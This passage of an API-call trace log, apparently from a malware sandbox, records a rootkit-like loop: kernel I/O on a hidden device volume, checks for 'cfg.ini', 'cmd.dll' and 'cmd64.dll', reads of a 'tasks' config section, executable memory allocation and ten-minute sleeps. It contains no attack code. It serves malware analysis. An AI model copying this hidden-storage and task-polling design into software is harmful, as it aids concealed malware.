FastMutex=0xfffffa80027d3898) [0128.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.938] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.938] IdePortDispatch () returned 0x103 [0128.938] KeWaitForMutexObject () returned 0x0 [0128.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.938] KeLeaveCriticalRegion () [0128.938] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.939] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.939] KeEnterCriticalRegion () [0128.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.939] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b6d000 [0128.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.939] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.939] IdePortDispatch () returned 0x103 [0128.939] KeWaitForMutexObject () returned 0x0 [0128.939] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.939] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.939] IdePortDispatch () returned 0x103 [0128.939] KeWaitForMutexObject () returned 0x0 [0128.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.939] KeLeaveCriticalRegion () [0128.939] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.940] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.940] KeEnterCriticalRegion () [0128.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.940] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.940] KeLeaveCriticalRegion () [0128.940] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.940] KeEnterCriticalRegion () [0128.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.940] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.940] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.940] KeLeaveCriticalRegion () [0128.940] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.940] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.940] KeEnterCriticalRegion () [0128.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.940] ExFreePoolWithTag (P=0xfffffa8003c01470, Tag=0x0) [0128.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.940] KeLeaveCriticalRegion () [0128.940] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.940] ReleaseMutex (hMutex=0xf0) returned 1 [0128.940] Sleep (dwMilliseconds=0x927c0) [0128.956] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.956] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.956] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.956] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.956] KeEnterCriticalRegion () [0128.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.956] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.956] IdePortDispatch () returned 0x103 [0128.956] KeWaitForMutexObject () returned 0x0 [0128.956] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.956] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.956] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.956] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.956] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.956] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02c70 [0128.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.956] KeLeaveCriticalRegion () [0128.956] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.956] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.956] KeEnterCriticalRegion () [0128.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.956] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.956] KeLeaveCriticalRegion () [0128.957] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.957] KeEnterCriticalRegion () [0128.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.957] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.957] IdePortDispatch () returned 0x103 [0128.957] KeWaitForMutexObject () returned 0x0 [0128.957] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.957] KeLeaveCriticalRegion () [0128.957] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.957] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.957] KeEnterCriticalRegion () [0128.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.957] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b72000 [0128.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.957] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.957] IdePortDispatch () returned 0x103 [0128.957] KeWaitForMutexObject () returned 0x0 [0128.957] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.958] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.958] IdePortDispatch () returned 0x103 [0128.958] KeWaitForMutexObject () returned 0x0 [0128.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.958] KeLeaveCriticalRegion () [0128.958] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.958] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.958] KeEnterCriticalRegion () [0128.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.958] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.958] KeLeaveCriticalRegion () [0128.959] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.959] KeEnterCriticalRegion () [0128.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.959] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.959] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02d30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.959] KeLeaveCriticalRegion () [0128.959] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.959] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.959] KeEnterCriticalRegion () [0128.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.959] ExFreePoolWithTag (P=0xfffffa8003c02c70, Tag=0x0) [0128.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.959] KeLeaveCriticalRegion () [0128.959] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.959] ReleaseMutex (hMutex=0xf0) returned 1 [0128.959] Sleep (dwMilliseconds=0x927c0) [0128.974] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.974] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.974] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.974] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.974] KeEnterCriticalRegion () [0128.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.974] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.974] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.974] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.974] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.974] IdePortDispatch () returned 0x103 [0128.974] KeWaitForMutexObject () returned 0x0 [0128.975] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.975] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.975] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.975] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.975] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.975] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037dab40 [0128.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.975] KeLeaveCriticalRegion () [0128.975] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.975] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.975] KeEnterCriticalRegion () [0128.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.975] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.975] KeLeaveCriticalRegion () [0128.975] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.975] KeEnterCriticalRegion () [0128.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.975] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.975] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.975] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.975] IdePortDispatch () returned 0x103 [0128.975] KeWaitForMutexObject () returned 0x0 [0128.975] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.975] KeLeaveCriticalRegion () [0128.975] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.975] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.975] KeEnterCriticalRegion () [0128.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.976] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b77000 [0128.976] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.976] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.976] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.976] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.976] IdePortDispatch () returned 0x103 [0128.976] KeWaitForMutexObject () returned 0x0 [0128.976] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.976] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.976] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.976] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.976] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.976] IdePortDispatch () returned 0x103 [0128.976] KeWaitForMutexObject () returned 0x0 [0128.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.976] KeLeaveCriticalRegion () [0128.976] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.977] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.977] KeEnterCriticalRegion () [0128.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.977] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.977] KeLeaveCriticalRegion () [0128.977] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.977] KeEnterCriticalRegion () [0128.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.977] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.977] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.977] KeLeaveCriticalRegion () [0128.977] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.977] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.977] KeEnterCriticalRegion () [0128.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.977] ExFreePoolWithTag (P=0xfffffa80037dab40, Tag=0x0) [0128.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.977] KeLeaveCriticalRegion () [0128.977] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.977] ReleaseMutex (hMutex=0xf0) returned 1 [0128.977] Sleep (dwMilliseconds=0x927c0) [0128.992] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.992] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.992] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.992] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.992] KeEnterCriticalRegion () [0128.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.993] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.993] IdePortDispatch () returned 0x103 [0128.993] KeWaitForMutexObject () returned 0x0 [0128.993] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.993] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.993] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.993] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.993] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.993] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036497d0 [0128.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.993] KeLeaveCriticalRegion () [0128.993] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.993] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.993] KeEnterCriticalRegion () [0128.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.993] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.993] KeLeaveCriticalRegion () [0128.993] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.993] KeEnterCriticalRegion () [0128.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.993] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.993] IdePortDispatch () returned 0x103 [0128.993] KeWaitForMutexObject () returned 0x0 [0128.994] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.994] KeLeaveCriticalRegion () [0128.994] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.994] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.994] KeEnterCriticalRegion () [0128.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.994] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7c000 [0128.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.994] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.994] IdePortDispatch () returned 0x103 [0128.994] KeWaitForMutexObject () returned 0x0 [0128.994] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 